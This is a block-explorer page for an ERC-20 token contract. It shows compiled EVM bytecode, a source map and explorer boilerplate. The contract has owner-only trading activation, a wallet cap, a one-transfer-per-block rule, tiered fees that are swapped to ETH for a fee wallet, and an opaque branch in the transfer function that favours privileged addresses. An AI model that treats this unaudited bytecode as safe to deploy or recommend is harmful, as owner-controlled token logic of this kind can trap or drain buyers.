b601654600090819060ff16156109c157506001610453565b6001600160a01b0383166000908152600e602052604090205460ff16156104535750600192915050565b60006001600160a01b038416610a435760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016104a1565b60165460ff16610a85576001600160a01b0384166000908152600e602052604090205460ff16610a855760405162461bcd60e51b81526004016104a190611595565b601654610100900460ff16158015610ab657506001600160a01b0384166000908152600e602052604090205460ff16155b8015610ada57506001600160a01b03831660009081526013602052604090205460ff165b8015610aea5750600954600a5410155b15610af757610af7610ef3565b60145460ff168015610b1657506012546001600160a01b038581169116145b8015610b3b57506001600160a01b0383166000908152600e602052604090205460ff16155b15610ba45760155482610b63856001600160a01b03166000908152600c602052604090205490565b610b6d919061162a565b1115610ba45760405162461bcd60e51b8152602060048201526006602482015265119bdc989a5960d21b60448201526064016104a1565b6010546001600160a01b03166000908152600c6020526040902054600b55601454610100900460ff168015610bf257506001600160a01b0384166000908152600e602052604090205460ff16155b8015610c1757506001600160a01b0383166000908152600e602052604090205460ff16155b15610cd9576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610c5757506012546001600160a01b03848116911614155b15610cd957326000908152600f60205260409020544311610cc65760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b60648201526084016104a1565b326000908152600f602052604090204390555b6000610ce685858561102d565b90506000610cf482856115bf565b6001600160a01b0386166000908152601360205260408120549192509060ff168015610d2d57506010546001600160a01b038881169116145b610d375784610d50565b6001600454610d4691906115bf565b610d509086611576565b6001600160a01b0388166000908152600c6020526040812080549293508392909190610d7d9084906115bf565b90915550508215610dad57306000908152600c602052604081208054859290610da790849061162a565b90915550505b600a8054906000610dbd83611642565b90915550506001600160a01b0386166000908152600c602052604081208054849290610dea90849061162a565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610e3691815260200190565b60405180910390a35060019695505050505050565b610e5482611189565b6011546000805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015610ec7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610eec919061165d565b5050505050565b6016805461ff001916610100179055306000908152600c60205260408120549050621e8480610f246009600a611567565b610f3290633b9aca00611576565b610f3c919061168b565b8110158015610f4d575060165460ff165b1561101f576101f4610f616009600a611567565b610f6f90633b9aca00611576565b610f79919061168b565b8110610fa9576101f4610f8e6009600a611567565b610f9c90633b9aca00611576565b610fa6919061168b565b90505b610fb2816111f6565b47801561101d576010546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611006576040519150601f19603f3d011682016040523d82523d6000602084013e61100b565b606091505b5050809150508061101b57600080fd5b505b505b506016805461ff0019169055565b601654600090819060ff16801561105d57506001600160a01b0385166000908152600e602052604090205460ff16155b801561108257506001600160a01b0384166000908152600e602052604090205460ff16155b15610535576001600160a01b03851660009081526013602052604090205460ff16806110c657506001600160a01b03841660009081526013602052604090205460ff165b1561053557600654600a54116110de576001546110e2565b6004545b6110ed60648561168b565b6110f79190611576565b6012549091506001600160a01b03858116911614801561112057506001600160a01b0385163014155b15610535576000600b5460095461113791906115bf565b600b55600854600a54111561114f5750600554611169565b600754600a5411156111645750600354611169565b506002545b8061117560648661168b565b61117f9190611576565b9695505050505050565b306000908152600d60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020548111156111f357306000908152600d60209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d8452909152902060001990555b50565b6111ff81611189565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611234576112346116ad565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b1919061160d565b816001815181106112c4576112c46116ad565b6001600160a01b03928316602091820292909201015260115460405163791ac94760e01b815291169063791ac9479061130a9085906000908690309042906004016116c3565b600060405180830381600087803b15801561132457600080fd5b505af1158015611338573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b8181101561136d57858101830151858201604001528201611351565b8181111561137f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146111f357600080fd5b600080604083850312156113bd57600080fd5b82356113c881611395565b946020939093013593505050565b6000806000606084860312156113eb57600080fd5b83356113f681611395565b9250602084013561140681611395565b929592945050506040919091013590565b60006020828403121561142957600080fd5b813561061581611395565b6000806040838503121561144757600080fd5b823561145281611395565b9150602083013561146281611395565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114be5781600019048211156114a4576114a461146d565b808516156114b157918102915b93841c9390800290611488565b509250929050565b6000826114d557506001610453565b816114e257506000610453565b81600181146114f857600281146115025761151e565b6001915050610453565b60ff8411156115135761151361146d565b50506001821b610453565b5060208310610133831016604e8410600b8410161715611541575081810a610453565b61154b8383611483565b806000190482111561155f5761155f61146d565b029392505050565b600061061560ff8416836114c6565b60008160001904831182151516156115905761159061146d565b500290565b60208082526010908201526f2a3930b234b733903737ba1037b832b760811b604082015260600190565b6000828210156115d1576115d161146d565b500390565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b60006020828403121561161f57600080fd5b815161061581611395565b6000821982111561163d5761163d61146d565b500190565b60006000198214156116565761165661146d565b5060010190565b60008060006060848603121561167257600080fd5b8351925060208401519150604084015190509250925092565b6000826116a857634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117135784516001600160a01b0316835293830193918301916001016116ee565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212203310eae216f93cf5a1d58975c703ce00af715313fa1af9dc26be8fc60eb6c83a64736f6c634300080b0033

Deployed Bytecode Sourcemap

2217:9165:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4923:80;;;;;;;;;;-1:-1:-1;4995:5:0;;;;;;;;;;;;-1:-1:-1;;;4995:5:0;;;;4923:80;;;;;;;:::i;:::-;;;;;;;;5261:216;;;;;;;;;;-1:-1:-1;5261:216:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;5261:216:0;1072:187:1;2685:33:0;;;;;;;;;;;;;;;;;;;1410:25:1;;;1398:2;1383:18;2685:33:0;1264:177:1;4653:88:0;;;;;;;;;;;;;:::i;5714:400::-;;;;;;;;;;-1:-1:-1;5714:400:0;;;;;:::i;:::-;;:::i;2852:26::-;;;;;;;;;;;;;;;;4747:80;;;;;;;;;;-1:-1:-1;4747:80:0;;2407:1;2049:36:1;;2037:2;2022:18;4747:80:0;1907:184:1;2725:35:0;;;;;;;;;;;;;;;;5009:105;;;;;;;;;;-1:-1:-1;5009:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;5093:18:0;5075:7;5093:18;;;:9;:18;;;;;;;5009:105;566:137;;;;;;;;;;;;;:::i;:::-;;9032:113;;;;;;;;;;;;;:::i;3627:26::-;;;;;;;;;;-1:-1:-1;3627:26:0;;;;;;;;3707:62;;;;;;;;;;;;;;;;495:65;;;;;;;;;;-1:-1:-1;533:7:0;551:6;495:65;;-1:-1:-1;;;;;551:6:0;;;2494:51:1;;2482:2;2467:18;495:65:0;2348:203:1;4833:84:0;;;;;;;;;;-1:-1:-1;4907:7:0;;;;;;;;;;;;-1:-1:-1;;;4907:7:0;;;;4833:84;;5485:221;;;;;;;;;;-1:-1:-1;5485:221:0;;;;;:::i;:::-;;:::i;2767:35::-;;;;;;;;;;;;;;;;3660:40;;;;;;;;;;-1:-1:-1;3660:40:0;;;;;;;;;;;5120:133;;;;;;;;;;-1:-1:-1;5120:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;5222:19:0;;;5204:7;5222:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5120:133;7898:602;;;:::i;9153:142::-;;;;;;;;;;;;;:::i;5261:216::-;5365:10;5336:4;5353:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;5353:32:0;;;;;;;;;;:41;;;5410:37;5336:4;;5353:32;;5410:37;;;;5388:6;1410:25:1;;1398:2;1383:18;;1264:177;5410:37:0;;;;;;;;-1:-1:-1;5465:4:0;5261:216;;;;;:::o;4653:88::-;4708:7;2472:13;2407:1;2472:2;:13;:::i;:::-;2455:31;;:13;:31;:::i;:::-;4719:19;;4653:88;:::o;5714:400::-;5814:4;5839:21;5853:6;5839:13;:21::i;:::-;5831:50;;;;-1:-1:-1;;;5831:50:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;5895:19:0;;;;;;:11;:19;;;;;;;;5915:10;5895:31;;;;;;;;-1:-1:-1;;5895:52:0;5892:157;;-1:-1:-1;;;;;5997:19:0;;;;;;:11;:19;;;;;;;;6017:10;5997:31;;;;;;;;:40;;6031:6;;5997:40;:::i;:::-;-1:-1:-1;;;;;5963:19:0;;;;;;:11;:19;;;;;;;;5983:10;5963:31;;;;;;;:74;5892:157;6066:40;6080:6;6088:9;6099:6;6066:13;:40::i;:::-;6059:47;5714:400;-1:-1:-1;;;;5714:400:0:o;566:137::-;448:6;;-1:-1:-1;;;;;448:6:0;434:10;:20;426:57;;;;-1:-1:-1;;;426:57:0;;;;;;;:::i;:::-;643:1:::1;626:19:::0;;-1:-1:-1;;;;;;626:19:0::1;::::0;;662:32:::1;::::0;2494:51:1;;;662:32:0::1;::::0;2482:2:1;2467:18;662:32:0::1;;;;;;;566:137::o:0;9032:113::-;448:6;;-1:-1:-1;;;;;448:6:0;434:10;:20;426:57;;;;-1:-1:-1;;;426:57:0;;;;;;;:::i;:::-;9085:7:::1;:15:::0;;-1:-1:-1;;9111:26:0;;;9032:113::o;5485:221::-;5565:4;5590:25;5604:10;5590:13;:25::i;:::-;5582:54;;;;-1:-1:-1;;;5582:54:0;;;;;;;:::i;:::-;5654:44;5668:10;5680:9;5691:6;5654:13;:44::i;:::-;5647:51;5485:221;-1:-1:-1;;;5485:221:0:o;7898:602::-;448:6;;-1:-1:-1;;;;;448:6:0;434:10;:20;426:57;;;;-1:-1:-1;;;426:57:0;;;;;;;:::i;:::-;3893:10:::1;:17:::0;;-1:-1:-1;;3893:17:0::1;;;::::0;;7983:10:::2;::::0;-1:-1:-1;;;;;7983:10:0::2;:24:::0;7975:46:::2;;;::::0;-1:-1:-1;;;7975:46:0;;5667:2:1;7975:46:0::2;::::0;::::2;5649:21:1::0;5706:1;5686:18;;;5679:29;-1:-1:-1;;;5724:18:1;;;5717:39;5773:18;;7975:46:0::2;5465:332:1::0;7975:46:0::2;8041:12;::::0;::::2;;8040:13;8032:41;;;::::0;-1:-1:-1;;;8032:41:0;;6004:2:1;8032:41:0::2;::::0;::::2;5986:21:1::0;6043:2;6023:18;;;6016:30;-1:-1:-1;;;6062:18:1;;;6055:45;6117:18;;8032:41:0::2;5802:339:1::0;8032:41:0::2;8104:1;8092:9;:13;:40;;;;8131:1;8109:21;:23;8092:40;8084:82;;;::::0;-1:-1:-1;;;8084:82:0;;6348:2:1;8084:82:0::2;::::0;::::2;6330:21:1::0;6387:2;6367:18;;;6360:30;6426:31;6406:18;;;6399:59;6475:18;;8084:82:0::2;6146:353:1::0;8084:82:0::2;8203:4;8210:1;8185:24:::0;;;:9:::2;:24;::::0;;;;;8177:60:::2;;;::::0;-1:-1:-1;;;8177:60:0;;6706:2:1;8177:60:0::2;::::0;::::2;6688:21:1::0;6745:2;6725:18;;;6718:30;-1:-1:-1;;;6764:18:1;;;6757:51;6825:18;;8177:60:0::2;6504:345:1::0;8177:60:0::2;8281:18;;;;;;;;;-1:-1:-1::0;;;;;8281:18:0::2;-1:-1:-1::0;;;;;8281:26:0::2;;:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8263:58:0::2;;8330:4;8337:18;;;;;;;;;-1:-1:-1::0;;;;;8337:18:0::2;-1:-1:-1::0;;;;;8337:23:0::2;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8263:100;::::0;-1:-1:-1;;;;;;8263:100:0::2;::::0;;;;;;-1:-1:-1;;;;;7340:15:1;;;8263:100:0::2;::::0;::::2;7322:34:1::0;7392:15;;7372:18;;;7365:43;7257:18;;8263:100:0::2;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8250:10;:113:::0;;-1:-1:-1;;;;;;8250:113:0::2;-1:-1:-1::0;;;;;8250:113:0;;;::::2;::::0;;;::::2;::::0;;8406:4:::2;-1:-1:-1::0;8388:24:0;;;:9:::2;:24;::::0;;;;;8374:62:::2;::::0;8414:21:::2;8374:13;:62::i;:::-;8453:10;::::0;-1:-1:-1;;;;;8453:10:0::2;8447:17;::::0;;;:5:::2;:17;::::0;;;;:24;;-1:-1:-1;;8447:24:0::2;8467:4;8447:24:::0;;::::2;::::0;;;8473:12:::2;:19:::0;;-1:-1:-1;;3935:18:0;;;;;;7898:602::o;9153:142::-;448:6;;-1:-1:-1;;;;;448:6:0;434:10;:20;426:57;;;;-1:-1:-1;;;426:57:0;;;;;;;:::i;:::-;9228:1:::1;9210:17;:19:::0;;;9240:17:::1;:19:::0;;;9270:15:::1;:17:::0;9153:142::o;8770:254::-;8887:12;;8831:4;;;;8887:12;;8882:103;;;-1:-1:-1;8918:4:0;8882:103;;;-1:-1:-1;;;;;8945:15:0;;;;;;:7;:15;;;;;;;;8941:44;;;-1:-1:-1;8978:4:0;9005:11;8770:254;-1:-1:-1;;8770:254:0:o;6122:1525::-;6214:4;-1:-1:-1;;;;;6239:20:0;;6231:62;;;;-1:-1:-1;;;6231:62:0;;7621:2:1;6231:62:0;;;7603:21:1;7660:2;7640:18;;;7633:30;7699:31;7679:18;;;7672:59;7748:18;;6231:62:0;7419:353:1;6231:62:0;6311:12;;;;6306:68;;-1:-1:-1;;;;;6335:15:0;;;;;;:7;:15;;;;;;;;6327:44;;;;-1:-1:-1;;;6327:44:0;;;;;;;:::i;:::-;6392:10;;;;;;;6391:11;:31;;;;-1:-1:-1;;;;;;6407:15:0;;;;;;:7;:15;;;;;;;;6406:16;6391:31;:51;;;;-1:-1:-1;;;;;;6426:16:0;;;;;;:5;:16;;;;;;;;6391:51;:86;;;;;6459:18;;6446:9;;:31;;6391:86;6386:118;;;6481:20;:18;:20::i;:::-;6520:7;;;;:31;;;;-1:-1:-1;6541:10:0;;-1:-1:-1;;;;;6531:20:0;;;6541:10;;6531:20;6520:31;:54;;;;-1:-1:-1;;;;;;6556:18:0;;;;;;:7;:18;;;;;;;;6555:19;6520:54;6516:155;;;6632:16;;6622:6;6599:20;6609:9;-1:-1:-1;;;;;5093:18:0;5075:7;5093:18;;;:9;:18;;;;;;;5009:105;6599:20;:29;;;;:::i;:::-;:49;;6591:68;;;;-1:-1:-1;;;6591:68:0;;8112:2:1;6591:68:0;;;8094:21:1;8151:1;8131:18;;;8124:29;-1:-1:-1;;;8169:18:1;;;8162:36;8215:18;;6591:68:0;7910:329:1;6591:68:0;6705:9;;-1:-1:-1;;;;;6705:9:0;5075:7;5093:18;;;:9;:18;;;;;;6683:9;:32;6732:20;;;;;;;:40;;;;-1:-1:-1;;;;;;6757:15:0;;;;;;:7;:15;;;;;;;;6756:16;6732:40;:63;;;;-1:-1:-1;;;;;;6777:18:0;;;;;;:7;:18;;;;;;;;6776:19;6732:63;6728:370;;;-1:-1:-1;;;;;6816:31:0;;3403:42;6816:31;;;;:58;;-1:-1:-1;6864:10:0;;-1:-1:-1;;;;;6851:23:0;;;6864:10;;6851:23;;6816:58;6812:275;;;6932:9;6903:39;;;;:28;:39;;;;;;6945:12;-1:-1:-1;6895:103:0;;;;-1:-1:-1;;;6895:103:0;;8446:2:1;6895:103:0;;;8428:21:1;8485:2;8465:18;;;8458:30;8524:34;8504:18;;;8497:62;-1:-1:-1;;;8575:18:1;;;8568:34;8619:19;;6895:103:0;8244:400:1;6895:103:0;7046:9;7017:39;;;;:28;:39;;;;;7059:12;7017:54;;6812:275;7110:18;7131:40;7145:6;7153:9;7164:6;7131:13;:40::i;:::-;7110:61;-1:-1:-1;7184:23:0;7210:19;7110:61;7210:6;:19;:::i;:::-;-1:-1:-1;;;;;7263:16:0;;7242:18;7263:16;;;:5;:16;;;;;;7184:45;;-1:-1:-1;7242:18:0;7263:16;;:39;;;;-1:-1:-1;7293:9:0;;-1:-1:-1;;;;;7283:19:0;;;7293:9;;7283:19;7263:39;:78;;7335:6;7263:78;;;7330:1;7315:12;;:16;;;;:::i;:::-;7305:27;;:6;:27;:::i;:::-;-1:-1:-1;;;;;7354:17:0;;;;;;:9;:17;;;;;:31;;7242:99;;-1:-1:-1;7242:99:0;;7354:17;;;:31;;7242:99;;7354:31;:::i;:::-;;;;-1:-1:-1;;7403:14:0;;7398:89;;7454:4;7436:24;;;;:9;:24;;;;;:38;;7464:10;;7436:24;:38;;7464:10;;7436:38;:::i;:::-;;;;-1:-1:-1;;7398:89:0;7499:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;;;;;;7523:20:0;;;;;;:9;:20;;;;;:39;;7547:15;;7523:20;:39;;7547:15;;7523:39;:::i;:::-;;;;;;;;7597:9;-1:-1:-1;;;;;7580:35:0;7589:6;-1:-1:-1;;;;;7580:35:0;;7608:6;7580:35;;;;1410:25:1;;1398:2;1383:18;;1264:177;7580:35:0;;;;;;;;-1:-1:-1;7635:4:0;;6122:1525;-1:-1:-1;;;;;;6122:1525:0:o;8508:254::-;8596:28;8611:12;8596:14;:28::i;:::-;8635:18;;;8729:6;;8635:119;;-1:-1:-1;;;8635:119:0;;8702:4;8635:119;;;9130:34:1;9180:18;;;9173:34;;;9223:18;;;9216:34;;;9266:18;;;9259:34;;;;-1:-1:-1;;;;;8729:6:0;;;9309:19:1;;;9302:44;8737:15:0;9362:19:1;;;9355:35;8635:18:0;;;;:34;;8677:13;;9064:19:1;;8635:119:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8508:254;;:::o;10712:630::-;3893:10;:17;;-1:-1:-1;;3893:17:0;;;;;10821:4:::1;-1:-1:-1::0;5093:18:0;;;:9;:18;;;;;;10773:54;-1:-1:-1;3267:7:0::1;2472:13;2407:1;2472:2;:13;:::i;:::-;2455:31;::::0;:13:::1;:31;:::i;:::-;3252:22;;;;:::i;:::-;10845:19;:34;;:50;;;;-1:-1:-1::0;10883:12:0::1;::::0;::::1;;10845:50;10840:495;;;3335:3;2472:13;2407:1;2472:2;:13;:::i;:::-;2455:31;::::0;:13:::1;:31;:::i;:::-;3320:18;;;;:::i;:::-;10918:19;:34;10913:80;;3335:3;2472:13;2407:1;2472:2;:13;:::i;:::-;2455:31;::::0;:13:::1;:31;:::i;:::-;3320:18;;;;:::i;:::-;10957:33;;10913:80;11009:41;11030:19;11009:20;:41::i;:::-;11095:21;11136:23:::0;;11133:191:::1;;11225:9;::::0;:48:::1;::::0;11181:12:::1;::::0;-1:-1:-1;;;;;11225:9:0::1;::::0;11248:19;;11181:12;11225:48;11181:12;11225:48;11248:19;11225:9;:48:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11212:61;;;;;11300:7;11292:16;;;::::0;::::1;;11161:163;11133:191;10898:437;10840:495;-1:-1:-1::0;3935:10:0;:18;;-1:-1:-1;;3935:18:0;;;10712:630::o;9303:1027::-;9449:12;;9395:7;;;;9449:12;;:32;;;;-1:-1:-1;;;;;;9466:15:0;;;;;;:7;:15;;;;;;;;9465:16;9449:32;:55;;;;-1:-1:-1;;;;;;9486:18:0;;;;;;:7;:18;;;;;;;;9485:19;9449:55;9445:849;;;-1:-1:-1;;;;;9542:13:0;;;;;;:5;:13;;;;;;;;;:33;;-1:-1:-1;;;;;;9559:16:0;;;;;;:5;:16;;;;;;;;9542:33;9537:746;;;9640:15;;9628:9;;:27;9627:61;;9674:14;;9627:61;;;9659:12;;9627:61;9610:12;9619:3;9610:6;:12;:::i;:::-;9609:80;;;;:::i;:::-;9726:10;;9597:92;;-1:-1:-1;;;;;;9713:23:0;;;9726:10;;9713:23;:50;;;;-1:-1:-1;;;;;;9740:23:0;;9758:4;9740:23;;9713:50;9710:558;;;9787:15;9858:9;;9837:18;;:30;;;;:::i;:::-;9825:9;:42;9905:17;;9893:9;;:29;9890:300;;;-1:-1:-1;9960:13:0;;9890:300;;;10018:17;;10006:9;;:29;10003:187;;;-1:-1:-1;10073:11:0;;10003:187;;;-1:-1:-1;10151:15:0;;10003:187;10241:7;10225:12;10234:3;10225:6;:12;:::i;:::-;10224:24;;;;:::i;:::-;10212:36;10313:9;-1:-1:-1;;;;;;9303:1027:0:o;7655:235::-;7746:4;7726:26;;;;:11;:26;;;;;;;;3403:42;7726:46;;;;;;;;:61;-1:-1:-1;7721:162:0;;;7825:4;7805:26;;;;:11;:26;;;;;;;;3403:42;7805:46;;;;;;;-1:-1:-1;;7805:66:0;;7721:162;7655:235;:::o;10338:366::-;10408:27;10423:11;10408:14;:27::i;:::-;10470:16;;;10484:1;10470:16;;;;;;;;10446:21;;10470:16;;;;;;;;;;-1:-1:-1;10470:16:0;10446:40;;10515:4;10497;10502:1;10497:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10497:23:0;;;:7;;;;;;;;;;:23;;;;10541:18;;:25;;;-1:-1:-1;;;10541:25:0;;;;:18;;;;;:23;;:25;;;;;10497:7;;10541:25;;;;;:18;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10531:4;10536:1;10531:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10531:35:0;;;:7;;;;;;;;;:35;10577:18;;:119;;-1:-1:-1;;;10577:119:0;;:18;;;:69;;:119;;10647:11;;10577:18;;10661:4;;10674;;10680:15;;10577:119;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10397:307;10338:366;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;2556:388::-;2624:6;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;2740:9;2727:23;2759:31;2784:5;2759:31;:::i;:::-;2809:5;-1:-1:-1;2866:2:1;2851:18;;2838:32;2879:33;2838:32;2879:33;:::i;:::-;2931:7;2921:17;;;2556:388;;;;;:::o;2949:127::-;3010:10;3005:3;3001:20;2998:1;2991:31;3041:4;3038:1;3031:15;3065:4;3062:1;3055:15;3081:422;3170:1;3213:5;3170:1;3227:270;3248:7;3238:8;3235:21;3227:270;;;3307:4;3303:1;3299:6;3295:17;3289:4;3286:27;3283:53;;;3316:18;;:::i;:::-;3366:7;3356:8;3352:22;3349:55;;;3386:16;;;;3349:55;3465:22;;;;3425:15;;;;3227:270;;;3231:3;3081:422;;;;;:::o;3508:806::-;3557:5;3587:8;3577:80;;-1:-1:-1;3628:1:1;3642:5;;3577:80;3676:4;3666:76;;-1:-1:-1;3713:1:1;3727:5;;3666:76;3758:4;3776:1;3771:59;;;;3844:1;3839:130;;;;3751:218;;3771:59;3801:1;3792:10;;3815:5;;;3839:130;3876:3;3866:8;3863:17;3860:43;;;3883:18;;:::i;:::-;-1:-1:-1;;3939:1:1;3925:16;;3954:5;;3751:218;;4053:2;4043:8;4040:16;4034:3;4028:4;4025:13;4021:36;4015:2;4005:8;4002:16;3997:2;3991:4;3988:12;3984:35;3981:77;3978:159;;;-1:-1:-1;4090:19:1;;;4122:5;;3978:159;4169:34;4194:8;4188:4;4169:34;:::i;:::-;4239:6;4235:1;4231:6;4227:19;4218:7;4215:32;4212:58;;;4250:18;;:::i;:::-;4288:20;;3508:806;-1:-1:-1;;;3508:806:1:o;4319:140::-;4377:5;4406:47;4447:4;4437:8;4433:19;4427:4;4406:47;:::i;4464:168::-;4504:7;4570:1;4566;4562:6;4558:14;4555:1;4552:21;4547:1;4540:9;4533:17;4529:45;4526:71;;;4577:18;;:::i;:::-;-1:-1:-1;4617:9:1;;4464:168::o;4637:340::-;4839:2;4821:21;;;4878:2;4858:18;;;4851:30;-1:-1:-1;;;4912:2:1;4897:18;;4890:46;4968:2;4953:18;;4637:340::o;4982:125::-;5022:4;5050:1;5047;5044:8;5041:34;;;5055:18;;:::i;:::-;-1:-1:-1;5092:9:1;;4982:125::o;5112:348::-;5314:2;5296:21;;;5353:2;5333:18;;;5326:30;5392:26;5387:2;5372:18;;5365:54;5451:2;5436:18;;5112:348::o;6854:251::-;6924:6;6977:2;6965:9;6956:7;6952:23;6948:32;6945:52;;;6993:1;6990;6983:12;6945:52;7025:9;7019:16;7044:31;7069:5;7044:31;:::i;7777:128::-;7817:3;7848:1;7844:6;7841:1;7838:13;7835:39;;;7854:18;;:::i;:::-;-1:-1:-1;7890:9:1;;7777:128::o;8649:135::-;8688:3;-1:-1:-1;;8709:17:1;;8706:43;;;8729:18;;:::i;:::-;-1:-1:-1;8776:1:1;8765:13;;8649:135::o;9401:306::-;9489:6;9497;9505;9558:2;9546:9;9537:7;9533:23;9529:32;9526:52;;;9574:1;9571;9564:12;9526:52;9603:9;9597:16;9587:26;;9653:2;9642:9;9638:18;9632:25;9622:35;;9697:2;9686:9;9682:18;9676:25;9666:35;;9401:306;;;;;:::o;9712:217::-;9752:1;9778;9768:132;;9822:10;9817:3;9813:20;9810:1;9803:31;9857:4;9854:1;9847:15;9885:4;9882:1;9875:15;9768:132;-1:-1:-1;9914:9:1;;9712:217::o;10276:127::-;10337:10;10332:3;10328:20;10325:1;10318:31;10368:4;10365:1;10358:15;10392:4;10389:1;10382:15;10408:980;10670:4;10718:3;10707:9;10703:19;10749:6;10738:9;10731:25;10775:2;10813:6;10808:2;10797:9;10793:18;10786:34;10856:3;10851:2;10840:9;10836:18;10829:31;10880:6;10915;10909:13;10946:6;10938;10931:22;10984:3;10973:9;10969:19;10962:26;;11023:2;11015:6;11011:15;10997:29;;11044:1;11054:195;11068:6;11065:1;11062:13;11054:195;;;11133:13;;-1:-1:-1;;;;;11129:39:1;11117:52;;11224:15;;;;11189:12;;;;11165:1;11083:9;11054:195;;;-1:-1:-1;;;;;;;11305:32:1;;;;11300:2;11285:18;;11278:60;-1:-1:-1;;;11369:3:1;11354:19;11347:35;11266:3;10408:980;-1:-1:-1;;;10408:980:1:o

Swarm Source

ipfs://3310eae216f93cf5a1d58975c703ce00af715313fa1af9dc26be8fc60eb6c83a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.